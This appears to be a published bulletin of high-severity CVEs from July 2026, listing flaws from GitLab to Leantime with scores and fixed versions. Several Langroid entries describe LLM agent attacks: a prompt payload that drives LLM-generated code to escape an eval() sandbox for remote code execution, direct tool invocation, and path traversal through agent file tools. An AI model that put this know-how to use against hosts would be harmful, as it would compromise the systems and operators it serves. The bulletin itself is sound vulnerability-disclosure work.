| GitLab--GitLab                                                                          | GitLab has remediated an issue in GitLab EE affecting all versions from 13.11 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user with developer-role permissions to execute arbitrary scripts in another user's browser session due to improper sanitization of user-supplied input.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 8.7        | <a href="#">CVE-2026-6896</a>  |
| GitLab--GitLab                                                                          | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.7 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user to execute arbitrary scripts in another user's browser session due to improper sanitization of user-supplied input.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 7.3        | <a href="#">CVE-2026-13320</a> |
| globalprogrammin g--WHMCS Bridge                                                        | The WHMCS Bridge plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the connect() function in all versions up to, and including, 6.9. This makes it possible for authenticated attackers, with Custom-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 8.8        | <a href="#">CVE-2026-14489</a> |
| gnuwget--wget                                                                           | GNU Wget through 1.25.0, fixed in commit 37a40fc, contains a heap buffer underread vulnerability in the clean_metalink_string() function within src/metalink.c that allows a malicious server to trigger memory corruption by serving a Metalink document containing a whitespace-only URL. Attackers can cause the function to decrement a pointer past the start of the buffer when processing an all-whitespace Metalink URL, potentially leading to abnormal program behavior.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-07 | 7.5        | <a href="#">CVE-2026-58469</a> |
| gotenberg--gotenberg                                                                    | Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-10 | 7.5        | <a href="#">CVE-2026-55229</a> |
| gradio-app--gradio                                                                      | Gradio before 6.20.0 contains an open redirect and server-side request forgery vulnerability that allows attackers to redirect users to arbitrary URLs or perform client-side SSRF by supplying unvalidated HTTP/HTTPS URLs to the file_fetch() function in the /gradio_api/file= endpoint. Attackers can craft a malicious FileData response targeting internal endpoints such as cloud metadata services to retrieve sensitive credentials including EC2 IAM role credentials.                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 7.4        | <a href="#">CVE-2026-59806</a> |
| Grafana--Grafana OSS                                                                    | Several Grafana API endpoints, some of them unauthenticated, do not limit the size of the request body before processing it. An attacker can send very large payloads that force excessive memory allocation, potentially exhausting memory and causing a denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-10 | 7.5        | <a href="#">CVE-2026-33382</a> |
| gristlabs--grist-core                                                                   | Grist is spreadsheet software using Python as its formula language. Prior to 1.7.15, several server-rendered Grist pages embedded user-controlled values into the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 7.7        | <a href="#">CVE-2026-55659</a> |

# High Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                 | page and into inline scripts without fully escaping them, allowing cross-site scripting. On the main application page, a document's name or description, set by a document editor, is rendered into the page that other users load when opening the document. On the OAuth2 end-of-flow page, the openerOrigin request parameter was reflected back into the served page. Injected script runs in the victim's Grist origin and can act through the authenticated session, reading or modifying data and changing sharing settings and access rules. A document editor could therefore escalate to owner-level access. This issue is fixed in version 1.7.15. |            |            |                                |
| grokability--snipe-it           | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the Accessories API create path mass-assigns request parameters to the Accessory model while company_id is mass assignable, allowing a low-privileged authenticated user in one company to create accessory records under another company when Full Multiple Companies Support is enabled. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                           | 2026-07-10 | 8.5        | <a href="#">CVE-2026-54329</a> |
| grokability--snipe-it           | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, an authenticated non-admin user with users.view and users.edit but without users.delete can directly POST to /users/bulksave with delete_user=1 because BulkUsersController::destroy() authorizes only update, allowing the user to soft-delete another non-admin user. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                                              | 2026-07-10 | 7.1        | <a href="#">CVE-2026-55460</a> |
| grokability--snipe-it           | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, PATCH or PUT /api/v1/maintenances/{maintenance_id} checks access to the current maintenance record and asset but then fills attacker-controlled fields including asset_id without re-authorizing the newly supplied asset, allowing an authorized user to move a maintenance record onto an asset outside their company scope. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                       | 2026-07-10 | 7.7        | <a href="#">CVE-2026-55516</a> |
| h2o--h2o                        | h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit edd7a120bfc4af11ac0cbebce2a43cc1f93f9af1, when h2o processes a QPACK instruction sent from the peer over HTTP/3, lib/http3/qpack.c might allocate an on-stack buffer as large as approximately 800 KB by calling alloca, which exceeds the default pthread stack size used by musl libc and causes the h2o server to crash with a segmentation fault while touching the guard page. This issue is fixed in commit edd7a120bfc4af11ac0cbebce2a43cc1f93f9af1.                                                                                                               | 2026-07-10 | 7.5        | <a href="#">CVE-2026-55213</a> |
| H3C--NX15                       | A vulnerability was found in H3C NX15 V100R017. Affected by this vulnerability is the function change_passwd of the file /api/login/modify of the component Administrator Password Modification Endpoint. The manipulation of the argument newPass results in weak password recovery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.                                                                                                                                                                                                                          | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15479</a> |
| hapifhir--org.hl7.fhir.core     | HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to 6.9.10, the fix for CVE-2026-45367 incompletely patched the DSTU2 module, leaving FHIRPathEngine.matches() in org.hl7.fhir.dstu2/utis/FHIRPathEngine.java to call raw String.matches(sw) without RegexTimeout protection while replaceMatches() was updated, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU. This issue is fixed in version 6.9.10.                                                                                                                                 | 2026-07-08 | 7.5        | <a href="#">CVE-2026-55470</a> |
| HashiCorp--Nomad                | HashiCorp Nomad and Nomad Enterprise are vulnerable to a sandbox escape in the Docker task driver that may allow a job submitter to bind-mount a host path into a container even when volume bind mounts are disabled, potentially leading to reading and writing files on the host. This vulnerability, CVE-2026-14891, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.                                                                                                                                                                                                                                           | 2026-07-08 | 8.7        | <a href="#">CVE-2026-14891</a> |
| HashiCorp--Nomad                | HashiCorp Nomad and Nomad Enterprise did not enforce the allow_privileged restriction for the Docker task driver's host namespace mode options. This may allow an authenticated job submitter to run a container in a host namespace and access information belonging to the host or to other workloads on the same client. This vulnerability, CVE-2026-14373, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.                                                                                                                                                                                                    | 2026-07-08 | 7.7        | <a href="#">CVE-2026-14373</a> |
| HashiCorp--Terraform Enterprise | HashiCorp Terraform Enterprise contained an issue in its version control system (VCS) ingestion of registry modules that did not correctly enforce the intended boundary on packaged module content. This may allow an authenticated user to include files from outside the intended repository content in a module and then download them, potentially exposing sensitive files readable by the ingestion process. This vulnerability, CVE-2026-14468, is fixed in Terraform Enterprise v2.0.4 and v1.2.4.                                                                                                                                                   | 2026-07-06 | 7.7        | <a href="#">CVE-2026-14468</a> |
| HAVELSAN Inc.--Liman MYS        | Missing Authorization vulnerability in HAVELSAN Inc. Liman MYS allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Liman MYS: before release.Master.1107.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-07 | 8.3        | <a href="#">CVE-2026-11340</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| HAVELSAN Inc.--Liman MYS                                    | Improper verification of cryptographic signature vulnerability in HAVELSAN Inc. Liman MYS allows Fake the Source of Data. This issue affects Liman MYS: before release.Master.1107.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-07 | 8.1        | <a href="#">CVE-2026-11348</a> |
| HAVELSAN Inc.--Liman MYS                                    | Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in HAVELSAN Inc. Liman MYS allows LDAP Injection. This issue affects Liman MYS: before release.Master.1107.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-07 | 8.8        | <a href="#">CVE-2026-13696</a> |
| hcr707305003--shiroiAdmin                                   | A vulnerability was determined in hcr707305003 shiroiAdmin 1.1/1.3. Affected is the function FileController::upload of the file app/common/controller/FileController.php. Executing a manipulation of the argument File can lead to unrestricted upload. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.4 is able to address this issue. This patch is called 3ecde28ea8a20a3840dbfe6d6d6863ee79a83e70. It is suggested to upgrade the affected component. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                 | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15488</a> |
| hestiacp--hestiacp                                          | HestiaCP before 1.9.5 contains an authenticated OS command injection vulnerability that allows low-privilege authenticated users to execute arbitrary commands as root by injecting a single-quote character into unvalidated DNS record types. Attackers can exploit insufficient input validation in is_dns_record_format_valid() combined with unsafe eval-based parsing in update_domain_zone() to prematurely close a variable assignment string and achieve full root code execution on the underlying host in a single DNS record creation step.                                                                                                                                                   | 2026-07-10 | 8.8        | <a href="#">CVE-2025-30007</a> |
| hoppscotch--hoppscotch                                      | Hoppscotch is an open source API development ecosystem. Prior to 2026.6.0, mock server creation in mock-server.service.ts does not persist the isPublic input field while schema.prisma defaults isPublic to true, causing mock servers linked to private collections to be publicly accessible without authentication and potentially expose sensitive API data. This issue is fixed in version 2026.6.0.                                                                                                                                                                                                                                                                                                | 2026-07-09 | 7.5        | <a href="#">CVE-2026-59720</a> |
| hoppscotch--hoppscotch                                      | Hoppscotch is an open source API development ecosystem. Prior to 2026.6.0, the updateInfraConfigs GraphQL mutation in admin/infra.resolver.ts accepts an attacker-controlled MAILER_SMTP_URL value, and validateSMTPUrl in utils.ts permits path, query, or fragment content that nodemailer parses into sendmail transport options, allowing an admin to execute arbitrary commands as root in the backend container after restart and mail sending. This issue is fixed in version 2026.6.0.                                                                                                                                                                                                            | 2026-07-09 | 7.2        | <a href="#">CVE-2026-59721</a> |
| horde--Vfs                                                  | Horde Virtual File System (VFS) API before 3.0.1 contains an OS command injection vulnerability in the Horde_Vfs_Smb driver where the _escapeShellCommand() method fails to sanitize command substitution sequences, allowing authenticated attackers to inject arbitrary shell commands through user-controlled filenames. Attackers can supply malicious filenames containing unescaped command substitution payloads through operations such as file upload, folder creation, rename, or deletion, which are interpolated into a double-quoted shell context and executed via proc_open() through /bin/sh -c before smbclient runs, resulting in arbitrary command execution on the underlying system. | 2026-07-08 | 8.8        | <a href="#">CVE-2026-60102</a> |
| httplib2--httplib2                                          | httplib2 is a comprehensive HTTP client library for Python. Prior to 0.32.0, httplib2 performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate in _decompressContent in httplib2/init.py, allowing a malicious or compromised HTTP server to return a small compressed payload that expands to an arbitrarily large size in memory and causes MemoryError or OOM-kill in the client process. This issue is fixed in version 0.32.0.                                                                                                                                                                                                                        | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59939</a> |
| Hydro-Qubec--Le Circuit Electrique charging station backend | The charging station websocket endpoint accepts connections without proper authentication, which could lead to privilege escalation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-10 | 9.8        | <a href="#">CVE-2026-20744</a> |
| Hydro-Qubec--Le Circuit Electrique charging station backend | Previously, there was no throttling on repeated authentication attempts to the charging station backend, which could allow an attacker to execute a denial-of-service attack.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-10 | 7.5        | <a href="#">CVE-2026-42952</a> |
| Hydro-Qubec--Le Circuit Electrique charging station backend | Multiple connections to the backend using the same charging station ID are allowed, which could allow an attacker to deploy multiple instances of malicious OCPP clients to overwhelm the backend.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-10 | 7.5        | <a href="#">CVE-2026-44383</a> |
| IBM--API Connect                                            | IBM API Connect 10.0.8.0 through 10.0.8.9 and 12.1.0.0 through 12.1.0.3 contains an unauthenticated SQL injection vulnerability in the password reset functionality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 9.1        | <a href="#">CVE-2026-9074</a>  |

# High Vulnerabilities

| Primary Vendor -- Product                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| IBM--API Connect                                       | IBM API Connect 12.1.0.0 through 12.1.0.3 uses default credentials which could allow an attacker to gain unauthorized access to the application before the system enforces a credential update.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 8.1        | <a href="#">CVE-2026-3144</a>  |
| Idvlabs Software and Consulting Services Inc.-- Ontime | Authorization bypass through User-Controlled key vulnerability in Idvlabs Software and Consulting Services Inc. Ontime allows Exploitation of Trusted Identifiers. This issue affects Ontime: through 04052026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-07 | 7.5        | <a href="#">CVE-2026-5730</a>  |
| Idvlabs Software and Consulting Services Inc.-- Ontime | Authorization bypass through User-Controlled key vulnerability in Idvlabs Software and Consulting Services Inc. Ontime allows Exploitation of Trusted Identifiers. This issue affects Ontime: through 04052026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-07 | 7.5        | <a href="#">CVE-2026-5799</a>  |
| Inrove Software and Internet Services--BiEticaret      | Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Inrove Software and Internet Services BiEticaret allows SQL Injection. This issue affects BiEticaret: before v3.3.57.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 9.8        | <a href="#">CVE-2026-5955</a>  |
| JetBrains--IntelliJ IDEA                               | In JetBrains IntelliJ IDEA before 2026.1.4, 2026.2 code execution via path traversal in project workspace ID handling was possible                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 9.6        | <a href="#">CVE-2026-59792</a> |
| JetBrains--TeamCity                                    | In JetBrains TeamCity before 2026.1.2 arbitrary file access was possible via the Perforce VCS integration                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 8.8        | <a href="#">CVE-2026-59793</a> |
| JetBrains--TeamCity                                    | In JetBrains TeamCity before 2026.1.2 stored XSS via unauthenticated agent registration was possible                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-10 | 8.1        | <a href="#">CVE-2026-59795</a> |
| JetBrains--TeamCity                                    | In JetBrains TeamCity before 2026.1.2 pipeline modification was possible due to improper permission checks                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-10 | 8.1        | <a href="#">CVE-2026-59796</a> |
| JetBrains--TeamCity                                    | In JetBrains TeamCity before 2026.1.2 stored XSS on the cloud profile page was possible via agent-reported data                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-10 | 7.3        | <a href="#">CVE-2026-59794</a> |
| jknack--handlebars.java                                | Handlebars.java provides logic-less and semantic Mustache templates with Java. Prior to 4.5.2, applications that pass user-controlled input to Handlebars.compile() using FileTemplateLoader or ClassPathTemplateLoader are vulnerable to path traversal, allowing arbitrary file read through template names derived from URL path parameters, request parameters, or other user-controlled sources. This issue is fixed in version 4.5.2.                                                                                                                                                                                                                                                                                 | 2026-07-08 | 7.5        | <a href="#">CVE-2026-55760</a> |
| joe007--Eventer                                        | The Eventer plugin for WordPress is vulnerable to an insecure password reset mechanism in all versions up to, and including, 4.4.2. The plugin stores a plaintext copy of the password reset key in the `eventer_verification_code` user meta field when a user requests a password reset. The plaintext key stored in `wp_usermeta` can be used with the plugin's custom reset action to set a new password for any user. Combined with another vulnerability such as SQL Injection (CVE-2026-9700), this makes it possible for unauthenticated attackers to extract the plaintext reset key and take over any user account, including administrators. Note: The password reset function only works up to PHP version 7.4. | 2026-07-08 | 9.8        | <a href="#">CVE-2026-9701</a>  |
| joe007--Eventer                                        | The Eventer plugin for WordPress is vulnerable to time-based SQL Injection via the 'code' parameter in all versions up to, and including, 4.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                          | 2026-07-08 | 7.5        | <a href="#">CVE-2026-9700</a>  |
| joedolson--My Calendar Accessible Event Manager        | The My Calendar - Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                  | 2026-07-08 | 7.5        | <a href="#">CVE-2026-6854</a>  |
| joeyoungblood--WP Business Intelligence Lite           | The WP Business Intelligence Lite plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.2.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify stored SQL queries, which can lead to privilege escalation via arbitrary SQL execution when the modified query is viewed by an administrator.                                                                                                                                                                                                                              | 2026-07-10 | 8          | <a href="#">CVE-2026-15293</a> |
| jssor--Jssor Slider by jssor.com                       | The Jssor Slider by jssor.com plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.1.24 via the 'url' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 7.5        | <a href="#">CVE-2026-14244</a> |
| Juniper Networks--Junos OS                             | An Improper Validation of Specified Quantity in Input vulnerability in the TCP proxy plugin of Juniper Networks Junos OS on MX Series with SPC3, and SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial of Service                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 7.5        | <a href="#">CVE-2026-57023</a> |



# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | (DoS). When TCP proxy is engaged in a flow session, to support ALGs, Advanced Anti-Malware, ICAP or UTM, a TCP packet with specifically malformed TCP header will cause flow processing daemon (flowd) to crash and restart. This causes a complete service outage until the system has automatically recovered. This issue affects Junos OS on MX with SPC3, and SRX Series: * 23.4 versions before 23.4R2-S7, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2-S3, * 25.2 versions before 25.2R2. This issue does not affect releases before 23.4R1.                                                                                                                                                                                                                                                                 |            |            |                                |
| Juniper Networks--Junos OS         | An Improper Validation of Syntactic Correctness of Input vulnerability in the SIP plugin of Juniper Networks Junos OS on MX Series with SPC3 and SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS). If the SIP ALG is enabled on an affected device, the processing of a malformed SIP invite packet will cause a flow processing daemon (flowd) crash and restart. This leads to a complete service outage until the system has automatically recovered. This issue affects Junos OS on MX Series with SPC3 and SRX Series: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S5, * 24.4 versions before 24.4R2-S4, * 25.2 versions before 25.2R2, * 25.4 versions before 25.4R1-S2.                                                    | 2026-07-09 | 7.5        | <a href="#">CVE-2026-57026</a> |
| Juniper Networks--Junos OS Evolved | An Improper Restriction of Communication Channel to Intended Endpoints vulnerability in Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause license exhaustion. Due to an incorrect initialization, a process which should only be able to communicate internally within the device, can be reached over the network via an open port. This leads to unauthorized access to the license management. This issue affects all Junos OS Evolved versions before 23.2R2-EVO.                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 7.3        | <a href="#">CVE-2026-57028</a> |
| jupyterlab--jupyterlab-git         | JupyterLab Git is a Git extension for JupyterLab. Prior to 0.54.0, jupyterlab-git uses fnmatch.fnmatchcase() in GitHandler.prepare() in jupyterlab_git/handlers.py to enforce excluded_paths, allowing an authenticated user on a case-insensitive filesystem to vary URL path casing and read excluded directories. This issue is fixed in version 0.54.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-08 | 7.1        | <a href="#">CVE-2026-54528</a> |
| krayin--laravel-crm                | Krayin CRM through 2.2.3 contains an insecure direct object reference vulnerability in LeadController, PersonController, OrganizationController, QuoteController, and ActivityController that allows authenticated users to edit, update, or delete records owned by other users. Attackers can modify CRM records and reassign ownership by exploiting missing record-level ownership validation in edit, update, and destroy methods.                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 8.8        | <a href="#">CVE-2026-61460</a> |
| Labcenter--Proteus                 | The application contains a use-after-free vulnerability that can be exploited to cause memory corruption while parsing specially crafted files. This could allow an attacker to execute arbitrary code in the context of the current process.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-07 | 7.8        | <a href="#">CVE-2026-42958</a> |
| Labcenter--Proteus                 | The application contains a stack-based buffer overflow vulnerability that can be exploited by an attacker to execute arbitrary code.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-07 | 7.8        | <a href="#">CVE-2026-49033</a> |
| labring--FastGPT                   | FastGPT is an open source AI knowledge base platform. Prior to v4.15.0-beta5, two FastGPT file handlers authorize an unrelated resource and then sign or read an S3 object using a key taken directly from the request, without checking that the key belongs to the caller's team. Because S3 object keys are global within the bucket and carry the tenant id only as a path segment, an attacker can supply another team's key and obtain its file contents through the chat-file presign endpoint or dataset preview endpoint. This issue is fixed in version v4.15.0-beta5.                                                                                                                                                                                                                                                      | 2026-07-07 | 8.6        | <a href="#">CVE-2026-55418</a> |
| labring--FastGPT                   | FastGPT is a knowledge-based AI application platform. Prior to 4.15.0-beta4, the HTTP-tool OpenAPI schema importer validates only the top-level URL before passing it to SwaggerParser.bundle, whose remote reference resolver fetches \$ref URLs without FastGPT's internal-address guard and returns fetched content inline, allowing an authenticated team member to read internal services or cloud metadata. This issue is fixed in version 4.15.0-beta4.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-07 | 7.7        | <a href="#">CVE-2026-54607</a> |
| langchain4j--langchain4j           | LangChain4j is a Java library for building LLM-powered applications on the JVM. Prior to 1.2.1-beta8, 1.5.1-beta11, 1.11.8-beta19, and 1.16.3-beta26, the MariaDB and pgvector embedding stores build metadata-filter SQL by string-concatenating filter keys, and in MariaDB string values, directly into the query without adequate escaping. A crafted metadata key in EmbeddingSearchRequest.filter() can break out of its SQL context and inject arbitrary SQL into the statements executed by the stores' search and removeAll(Filter) operations, enabling blind data exfiltration, denial of service via sleep functions, and deletion of arbitrary rows through removeAll(Filter). This issue is fixed in langchain4j-mariadb and langchain4j-pgvector versions 1.2.1-beta8, 1.5.1-beta11, 1.11.8-beta19, and 1.16.3-beta26. | 2026-07-10 | 7.6        | <a href="#">CVE-2026-55405</a> |
| langgenius--dify                   | Dify before 1.16.0-rc1 contains a SQL injection vulnerability in the MyScale vector store backend that allows attackers to execute arbitrary SQL by supplying                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 8.8        | <a href="#">CVE-2026-61461</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                          | unsanitized search parameters to the search_by_full_text method without escaping or parameterization. Attackers can inject malicious SQL through the search parameters to read, modify, or delete data in the underlying ClickHouse database.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| langroid--langroid                                                       | Langroid is a framework for building large-language-model-powered applications. Versions prior to 0.65.2 are vulnerable to a critical Sandbox Escape leading to Remote Code Execution (RCE) in its `TableChatAgent` and `VectorStore` capabilities. When these agents evaluate LLM-generated tool messages with `full_eval=True`, they attempt to sandbox the execution by explicitly setting `locals` to an empty dictionary `{}` inside Python's `eval()` function. However, this relies on an incomplete understanding of Python's execution model. Because `__builtins__` is not explicitly scrubbed from the `globals` dictionary mapping, Python implicitly injects all built-ins during execution, granting full access to functions like `__import__`('os').system(). Since `TableChatAgent.pandas_eval()` executes external LLM outputs natively, this bypass permits any attacker providing prompt payload to achieve unauthenticated RCE on the host system. Version 0.65.2 patches the issue. | 2026-07-09 | 10         | <a href="#">CVE-2026-54769</a> |
| langroid--langroid                                                       | Langroid is a framework for building large-language-model-powered applications. Prior to version 0.65.3, a Langroid application exposing a chat interface to untrusted users may allow direct tool invocation via raw JSON payloads, even when tools are registered with `use=False, handle=True`. Version 0.65.3 fixes the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 8.1        | <a href="#">CVE-2026-54771</a> |
| langroid--langroid                                                       | Langroid is a framework for building large-language-model-powered applications. Prior to version 0.64.0, Langroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`. As a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory. Version 0.64.0 patches the issue.                                                  | 2026-07-09 | 7.1        | <a href="#">CVE-2026-50181</a> |
| latepoint--LatePoint Calendar Booking Plugin for Appointments and Events | The LatePoint - Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Improper Input Validation in all versions up to, and including, 5.4.0. This is due to the plugin's Stripe Connect payment processor accepting a client-supplied PaymentIntent ID. This makes it possible for unauthenticated attackers to pay an arbitrary amount by supplying a previously succeeded PaymentIntent token.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 7.5        | <a href="#">CVE-2026-5356</a>  |
| Leantime--Leantime                                                       | Leantime's Users::getUser method in the JSON-RPC API lacks proper authorization checks, allowing authenticated users to retrieve full user credential rows including password hashes, TOTP secrets, and session tokens. Attackers can exploit this by calling users.getUser with arbitrary user IDs to enumerate all accounts and obtain credentials for offline password cracking, 2FA bypass, and session hijacking.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-06 | 8.1        | <a href="#">CVE-2026-59712</a> |
| Leantime--Leantime                                                       | Leantime contains an OIDC login CSRF vulnerability in the verifyState() method that unconditionally returns true without validating state parameters. Attackers can craft malicious callback URLs with attacker-controlled authorization codes to perform session fixation, logging victims in as the attacker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-06 | 8.1        | <a href="#">CVE-2026-59713</a> |
